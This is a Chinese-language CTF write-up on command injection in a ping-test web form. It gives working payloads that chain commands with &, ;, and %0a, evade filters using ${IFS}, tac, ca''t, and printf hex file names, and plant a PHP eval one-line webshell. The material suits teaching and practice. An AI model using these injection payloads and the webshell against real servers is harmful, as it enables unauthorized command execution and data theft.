RCE
RCE英文全称:remote command/code execute
分为远程命令执行ping 和 远程代码执行evel。
区别:远程代码执行是调用服务器网站代码进行执行,命令注入是调用操作系统命令进行执行。基于这个区别,攻击利用方式有所不同。
命令注入
提示:这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
访问网站,随意输入一些内容 可以看出是一个测试网络延迟的功能
网站有提供源码 get获取ip 直接拼接语句执行操作
exec()函数用来执行一个外部程序
利用系列命令获取当前路径下的文件信息,获得特殊内容,尝试利用cat查看文件信息内容,但无内容输出,再后面加个管道命令以base64编码后的内容输出,解码后获得flag
1 & ls
1 & cat "18502316747991.php"
1 & cat "18502316747991.php"|base64
PS:也可以尝试执行命令写入带有一句话的文件,使用工具连接
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php
过滤cat
访问,提示过滤cat 但可以用其他的文件内容查看的命令替换 例:tac more less等
cat:由第一行开始显示文件内容
tac:从最后一行开始一行行反向打印(是cat的反写
more:一页页地显示文件内容
less:区别于more,添加往前翻页功能
head:取文件前面几行
tail:取文件后面几行
od:以特定编码格式输出
利用ls 命令获得文件名 再查看文件获取flag
1& tac "flag_31617147328526.php"|base64
过滤空格
访问 提示过滤空格但可以用其他内容来替换过滤
过滤空格绕过:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
< cat<xxx.php
${IFS} cat${IFS}xxx.php
$IFS$9 cag$$IFS$9xx.php
利用ls 命令获得文件名 再查看文件获取flag
1&cat<"flag_2944813079198.php"|base64
过滤目录分隔符
要点:灵活的运用各种操作组合达到目的
命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
; 命令按照顺序(从左到右)被执行,用分号进行分隔。 当有一条命令执行失败时,不会中断其它命令的执行。
& 简单拼接 无限制
&& 前面执行成功后面才会执行
| 管道命令左边输出 作为右边输入,
|| 前面执行失败才会执行后面
访问 过滤了目录分隔符 /
查看当前路径下文件 发现flag在文件夹中,因为目录分隔符被过滤无法直接使用/ ,换思路
尝试先进入目标文件夹,再查看当前文件夹内容,可以发现 那么就再用cat 查看文件内容
1 & cd flag_is_herer; ls;cat xxxx.php
过滤运算符
访问 提示过滤运算符,查看代码 过滤了 ||,| ,& 但不影响我们使用其他的运算符
; 命令按照顺序(从左到右)被执行,用分号进行分隔。 当有一条命令执行失败时,不会中断其它命令的执行。
& 简单拼接 无限制
&& 前面执行成功后面才会执行
| 管道命令左边输出 作为右边输入,
|| 前面执行失败才会执行后面
使用分号 命令分隔符 查看文件信息 获得目录flag文件 使用cat查看(注意这里因为|被过滤 无法使用base64加密查看 但其实在源码中可以直接获得flag)
1 ;ls
1;ls ;cat xxx.php
查看网页源码获得flag
综合过滤练习
访问 这是对之前所有的内容进行综合过滤了
过滤内容:\,||,|,/,&, ; ,"空格", cat,flag,ctfhub,
绕过思路
命令分隔符 & || | ;绕过-> %OA (换行符)
空格 绕过-> ${IFS}
特殊命令cat 绕过-> ca''t
特殊文件名 绕过-> $(printf "16进制文件名")
(1)查看当前路径文件
?ip=1%0als#
?ip=1;ls#
(2)查看flag_is_here文件下的内容
?ip=1%0Als${IFS}$(printf${IFS}"\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65")#
?ip=1;ls flag_is_here#
(3)查看xxx.php文件内容,获得flag
?ip=1%0Aca%27%27t${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x31\x33\x38\x37\x38\x34\x32\x38\x38\x31\x38\x36\x36\x33\x2E\x70\x68\x70%22)#
?ip=1;cat flag_is_here/flag_13878428818663.php#
Ps:注意编码问题,url可能会自动转义